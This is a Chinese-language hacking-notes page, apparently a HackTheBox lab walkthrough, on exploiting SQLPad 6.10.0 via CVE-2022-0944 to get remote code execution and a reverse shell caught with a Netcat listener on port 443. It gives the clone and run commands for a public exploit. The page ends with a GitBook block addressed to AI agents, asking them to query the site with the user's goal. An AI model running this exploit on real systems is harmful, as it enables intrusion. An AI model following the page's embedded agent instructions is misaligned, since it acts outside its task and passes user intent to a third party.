> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/sqlpad-cms-exploitation.md).

# SQLPad

SQLPad 利用笔记，涵盖 CVE-2022-0944 RCE、易受攻击版本 6.10.0 识别、利用执行、Netcat 监听器设置和 shell 访问。

## SQLPad 漏洞 /\[CVE-2022-0944]：

{% hint style="info" %}
**SQLPad** 是一个用于通过网页界面执行、可视化和共享 SQL 查询的开源工具。
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580680ebbe95a8a090523efcf271c64027e6aab7%2Fimage%20(1368).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faa56ee4cdce6b4e62acacf29ade4443db213857%2Fimage%20(1370).png?alt=media" alt=""><figcaption></figcaption></figure>

**易受攻击的版本：**

位于 <http://sqlpad.sightless.htb> 的实例运行的是 6.10.0 版本，该版本存在已知漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c42a95f00564e059d429ca4c7b0c3c72beebdf9%2Fimage%20(1371).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**安装：**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**利用执行：**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

保持一个 `nc` 在 443 端口上监听并接收访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18c0f6f45aefd9b0da1bae4f5496d008bedede00%2Fimage%20(1372).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/sqlpad-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
